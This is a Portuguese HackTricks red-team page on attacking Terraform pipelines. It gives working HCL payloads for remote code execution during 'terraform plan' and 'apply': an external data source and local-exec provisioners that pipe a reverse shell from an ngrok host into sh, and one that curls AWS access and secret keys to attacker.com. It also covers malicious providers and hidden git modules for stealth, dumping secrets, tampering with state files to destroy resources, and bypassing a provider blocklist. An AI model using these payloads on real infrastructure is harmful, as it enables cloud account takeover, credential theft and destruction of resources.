Terraform Security

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Informações Básicas

A partir da documentação:

O HashiCorp Terraform é uma ferramenta de infraestrutura como código que permite definir recursos em nuvem e locais em arquivos de configuração legíveis por humanos que podem ser versionados, reutilizados e compartilhados. Você pode então usar um fluxo de trabalho consistente para provisionar e gerenciar toda a sua infraestrutura ao longo de seu ciclo de vida. O Terraform pode gerenciar componentes de baixo nível como computação, armazenamento e recursos de rede, bem como componentes de alto nível como entradas DNS e recursos de SaaS.

Como o Terraform funciona?

O Terraform cria e gerencia recursos em plataformas de nuvem e outros serviços por meio de suas interfaces de programação de aplicativos (APIs). Os provedores permitem que o Terraform trabalhe com praticamente qualquer plataforma ou serviço com uma API acessível.

A HashiCorp e a comunidade do Terraform já escreveram mais de 1700 provedores para gerenciar milhares de tipos diferentes de recursos e serviços, e esse número continua crescendo. Você pode encontrar todos os provedores publicamente disponíveis no Terraform Registry, incluindo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog e muitos outros.

O fluxo de trabalho central do Terraform consiste em três etapas:

  • Escrever: Você define recursos, que podem estar em vários provedores de nuvem e serviços. Por exemplo, você pode criar uma configuração para implantar um aplicativo em máquinas virtuais em uma rede Virtual Private Cloud (VPC) com grupos de segurança e um balanceador de carga.

  • Planejar: O Terraform cria um plano de execução descrevendo a infraestrutura que criará, atualizará ou destruirá com base na infraestrutura existente e em sua configuração.

  • Aplicar: Após aprovação, o Terraform executa as operações propostas na ordem correta, respeitando quaisquer dependências de recursos. Por exemplo, se você atualizar as propriedades de uma VPC e alterar o número de máquinas virtuais nessa VPC, o Terraform recriará a VPC antes de dimensionar as máquinas virtuais.

Laboratório do Terraform

Apenas instale o terraform em seu computador.

Aqui você tem um guia e aqui você tem a melhor maneira de baixar o terraform.

RCE no Terraform

O Terraform não possui uma plataforma expondo uma página da web ou um serviço de rede que podemos enumerar, portanto, a única maneira de comprometer o terraform é ser capaz de adicionar/modificar arquivos de configuração do terraform.

No entanto, o terraform é um componente muito sensível para comprometer porque ele terá acesso privilegiado a diferentes locais para funcionar corretamente.

A principal maneira para um atacante ser capaz de comprometer o sistema onde o terraform está sendo executado é comprometer o repositório que armazena as configurações do terraform, porque em algum momento elas serão interpretadas.

Na verdade, existem soluções por aí que executam automaticamente o terraform plan/apply após a criação de um PR, como o Atlantis:

pageAtlantis Security

Se você for capaz de comprometer um arquivo terraform, existem diferentes maneiras de realizar RCE quando alguém executar terraform plan ou terraform apply.

Terraform plan

O terraform plan é o comando mais usado no terraform e desenvolvedores/soluções que usam o terraform o chamam o tempo todo, então a maneira mais fácil de obter RCE é garantir que você envenene um arquivo de configuração do terraform que executará comandos arbitrários em um terraform plan.

Usando um provedor externo

O Terraform oferece o provedor external, que fornece uma maneira de interface entre o Terraform e programas externos. Você pode usar o provedor external para executar código arbitrário durante um plan.

Injetar em um arquivo de configuração do terraform algo como o seguinte executará um shell reverso ao executar terraform plan:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Utilizando um provedor personalizado

Um atacante poderia enviar um provedor personalizado para o Terraform Registry e então adicioná-lo ao código do Terraform em um ramo de funcionalidade (exemplo daqui):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

O provedor é baixado no init e executará o código malicioso quando o plan for executado

Você pode encontrar um exemplo em https://github.com/rung/terraform-provider-cmdexec

Usando uma referência externa

Ambas as opções mencionadas são úteis, mas não muito furtivas (a segunda é mais furtiva, mas mais complexa do que a primeira). Você pode realizar esse ataque de uma maneira ainda mais furtiva, seguindo estas sugestões:

  • Em vez de adicionar o shell reverso diretamente no arquivo terraform, você pode carregar um recurso externo que contenha o shell reverso:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Pode encontrar o código rev shell em https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • No recurso externo, use o recurso ref para ocultar o código rev shell do terraform em um branch dentro do repositório, algo como: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Aplicar o Terraform

O Terraform apply será executado para aplicar todas as alterações, você também pode abusar dele para obter RCE injetando um arquivo Terraform malicioso com local-exec. Você só precisa garantir que algum payload como os seguintes termine no arquivo main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Siga as sugestões da técnica anterior para realizar esse ataque de uma maneira mais furtiva usando referências externas.

Despejo de Segredos

Você pode ter valores secretos usados pelo terraform despejados executando terraform apply adicionando ao arquivo terraform algo como:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Abusando dos Arquivos de Estado do Terraform

No caso de ter acesso de escrita aos arquivos de estado do Terraform, mas não poder alterar o código do Terraform, esta pesquisa oferece algumas opções interessantes para aproveitar o arquivo:

Excluindo recursos

Existem 2 maneiras de destruir recursos:

  1. Inserir um recurso com um nome aleatório no arquivo de estado apontando para o recurso real a ser destruído

Como o Terraform verá que o recurso não deveria existir, ele o destruirá (seguindo o ID do recurso real indicado). Exemplo da página anterior:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Modificar o recurso a ser excluído de forma que não seja possível atualizá-lo (então ele será excluído e recriado)

Para uma instância EC2, modificar o tipo da instância é suficiente para fazer o terraform excluir e recriá-la.

RCE

Também é possível criar um provedor personalizado e simplesmente substituir um dos provedores no arquivo de estado do terraform pelo malicioso ou adicionar um recurso vazio com o provedor malicioso. Exemplo da pesquisa original:

"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},

Substituir provedor na lista negra

No caso de encontrar uma situação em que hashicorp/external foi colocado na lista negra, você pode re-implementar o provedor external fazendo o seguinte. Observação: Usamos um fork do provedor externo publicado por https://registry.terraform.io/providers/nazarewk/external/latest. Você também pode publicar seu próprio fork ou re-implementação.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Então você pode usar external como de costume.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Ferramentas de Auditoria

  • tfsec: tfsec utiliza análise estática do seu código terraform para identificar possíveis configurações incorretas.

  • terascan: Terrascan é um analisador de código estático para Infraestrutura como Código.

Referências

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Última actualización